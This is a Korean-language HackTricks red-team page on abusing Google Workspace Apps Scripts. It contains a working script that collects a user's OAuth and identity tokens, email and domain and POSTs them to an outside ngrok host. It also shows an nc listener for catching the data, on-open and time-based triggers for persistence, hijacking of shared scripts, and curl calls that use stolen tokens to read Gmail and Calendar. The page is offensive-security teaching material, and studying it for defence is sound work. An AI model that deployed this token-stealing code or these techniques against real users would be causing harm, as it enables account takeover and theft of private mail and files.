GWS - App Scripts

Reading time: 7 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

App Scripts

App Scripts는 편집자 권한이 있는 사용자가 App Script와 연결된 문서에 접근할 때 트리거되는 코드이며, OAuth 프롬프트를 수락한 후 실행됩니다.
또한 App Script의 소유자가 특정 시간마다 실행되도록 설정할 수 있습니다 (Persistence).

App Script 만들기

App Script를 만드는 방법은 여러 가지가 있지만, 가장 일반적인 방법은 **Google 문서(모든 유형)**에서 만들거나 독립형 프로젝트로 만드는 것입니다:

Google Docs, Sheets 또는 Slides에서 컨테이너 바인드 프로젝트 만들기
  1. Docs 문서, Sheets 스프레드시트 또는 Slides 프레젠테이션을 엽니다.
  2. 확장 프로그램 > Google Apps Script를 클릭합니다.
  3. 스크립트 편집기에서 제목 없는 프로젝트를 클릭합니다.
  4. 프로젝트에 이름을 지정하고 이름 바꾸기를 클릭합니다.
독립형 프로젝트 만들기

Apps Script에서 독립형 프로젝트를 만들려면:

  1. script.google.com으로 이동합니다.
  2. 새 프로젝트를 클릭합니다.
  3. 스크립트 편집기에서 제목 없는 프로젝트를 클릭합니다.
  4. 프로젝트에 이름을 지정하고 이름 바꾸기를 클릭합니다.
Google Drive에서 독립형 프로젝트 만들기
  1. Google Drive를 엽니다.
  2. 새로 만들기 > 더보기 > Google Apps Script를 클릭합니다.
Google Forms에서 컨테이너 바인드 프로젝트 만들기
  1. Google Forms에서 양식을 엽니다.
  2. 더보기 more_vert > 스크립트 편집기를 클릭합니다.
  3. 스크립트 편집기에서 제목 없는 프로젝트를 클릭합니다.
  4. 프로젝트에 이름을 지정하고 이름 바꾸기를 클릭합니다.
clasp 명령줄 도구를 사용하여 독립형 프로젝트 만들기

clasp는 터미널에서 Apps Script 프로젝트를 생성, 가져오기/푸시 및 배포할 수 있는 명령줄 도구입니다.

자세한 내용은 Command Line Interface using clasp guide를 참조하세요.

App Script 시나리오

App Script로 Google Sheet 만들기

App Script를 생성하는 것으로 시작합니다. 이 시나리오에 대한 제 추천은 Google Sheet를 만들고 **확장 프로그램 > App Scripts**로 가는 것입니다. 이렇게 하면 시트에 연결된 새로운 App Script가 열립니다.

토큰 유출

OAuth 토큰에 접근을 허용하려면 Services +를 클릭하고 다음과 같은 범위를 추가해야 합니다:

  • AdminDirectory: 디렉토리의 사용자 및 그룹에 접근 (사용자가 충분한 권한이 있는 경우)
  • Gmail: Gmail 데이터에 접근
  • Drive: Drive 데이터에 접근
  • Google Sheets API: 트리거와 함께 작동하도록

필요한 범위를 변경하려면 프로젝트 설정으로 가서 **편집기에서 "appsscript.json" 매니페스트 파일 표시**를 활성화할 수 있습니다.

javascript
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()

// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}

// Send data
makePostRequest(data)

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)

// To ask for drive permissions
var files = DriveApp.getFiles()
}

function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"

var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}

try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}

요청을 캡처하려면 다음을 실행하면 됩니다:

bash
ngrok tcp 4444
nc -lv 4444 #macOS

앱 스크립트를 실행하기 위해 요청된 권한:

warning

외부 요청이 이루어지면 OAuth 프롬프트가 외부 엔드포인트에 접근할 권한을 요청합니다.

트리거 생성

앱을 읽은 후 ⏰ 트리거를 클릭하여 트리거를 생성합니다. 함수로는 **getToken**을 선택하고, 배포는 **Head**에서 실행되며, 이벤트 소스는 **From spreadsheet**를 선택하고 이벤트 유형은 On open 또는 **On edit**를 선택한 후 저장합니다.

디버깅을 원할 경우 실행 탭에서 앱 스크립트의 실행을 확인할 수 있습니다.

공유

앱 스크립트트리거하기 위해 피해자는 편집자 권한으로 연결해야 합니다.

tip

앱 스크립트를 실행하는 데 사용되는 토큰트리거의 생성자의 것이며, 다른 사용자가 편집자로 파일을 열더라도 마찬가지입니다.

공유된 문서 악용하기

caution

누군가 앱 스크립트와 트리거를 사용하여 문서를 공유한 경우(고정 배포가 아닌 앱 스크립트의 Head 사용), 앱 스크립트 코드를 수정할 수 있습니다(예: 토큰 훔치기 기능 추가), 접근할 수 있으며, 앱 스크립트는 문서를 공유한 사용자의 권한으로 실행됩니다! (소유자의 OAuth 토큰은 트리거가 생성될 때 부여된 접근 범위를 가집니다).

스크립트가 수정되었다는 알림이 스크립트 생성자에게 전송됩니다 (경고를 방지하기 위해 Gmail 권한을 사용하여 필터를 생성하는 것은 어떨까요?)

tip

공격자가 앱 스크립트의 범위를 수정하면 업데이트는 새 트리거가 생성될 때까지 문서에 적용되지 않습니다. 따라서 공격자는 자신이 생성한 트리거에서 설정한 것보다 더 많은 범위로 소유자의 생성자 토큰을 훔칠 수 없습니다.

공유 대신 복사하기

문서를 공유하기 위해 링크를 생성하면 다음과 유사한 링크가 생성됩니다: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit
종료 부분의 **"/edit"**을 **"/copy"**로 변경하면, 구글은 문서의 복사본을 생성할 것인지 묻습니다:

사용자가 복사하여 접근하면 문서의 내용과 앱 스크립트가 복사되지만, 트리거는 복사되지 않으므로 아무것도 실행되지 않습니다.

웹 애플리케이션으로 공유하기

앱 스크립트를 웹 애플리케이션으로 공유하는 것도 가능합니다(앱 스크립트의 편집기에서 웹 애플리케이션으로 배포), 하지만 다음과 같은 경고가 나타납니다:

필요한 권한을 요청하는 전형적인 OAuth 프롬프트가 뒤따릅니다.

테스트

수집된 토큰을 사용하여 이메일 목록을 나열할 수 있습니다:

bash
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

사용자의 캘린더 목록:

bash
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script as Persistence

지속성을 위한 한 가지 옵션은 문서를 생성하고 getToken 함수에 대한 트리거를 추가한 다음 공격자와 문서를 공유하여 공격자가 파일을 열 때마다 희생자의 토큰을 유출하는 것입니다.

또한 App Script를 생성하고 X 시간마다(예: 매분, 매시간, 매일) 트리거하도록 설정할 수 있습니다. 자격 증명이나 희생자의 세션이 손상된 공격자는 App Script 시간 트리거를 설정하고 매일 매우 특권이 있는 OAuth 토큰을 유출할 수 있습니다:

App Script를 생성하고, 트리거로 이동한 다음, 트리거 추가를 클릭하고 이벤트 소스로 시간 기반을 선택하고 자신에게 가장 적합한 옵션을 선택하세요:

caution

이렇게 하면 보안 경고 이메일과 모바일에 푸시 메시지가 전송됩니다.

Shared Document Unverified Prompt Bypass

게다가, 누군가 편집자 액세스가 있는 문서를 공유했다면, 문서 내에서 App Scripts를 생성할 수 있으며, **문서의 소유자(생성자)**가 App Script의 소유자가 됩니다.

warning

이는 문서의 생성자가 문서 내에서 편집자 액세스가 있는 사람이 생성한 모든 App Script의 생성자로 나타날 것을 의미합니다.

이는 또한 App Script가 문서의 생성자의 Workspace 환경에서 신뢰받을 것을 의미합니다.

caution

이는 또한 App Script가 이미 존재하고 사람들이 액세스를 부여한 경우, 문서에 편집자 권한이 있는 누구나 수정하고 그 액세스를 남용할 수 있습니다.
이를 남용하려면 App Script를 트리거할 사람이 필요합니다. 그리고 한 가지 유용한 트릭은 스크립트를 웹 앱으로 게시하는 것입니다. 이미 액세스를 부여한 사람들이 웹 페이지에 접근하면 App Script를 트리거하게 됩니다(이는 <img> 태그를 사용해도 작동합니다).

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기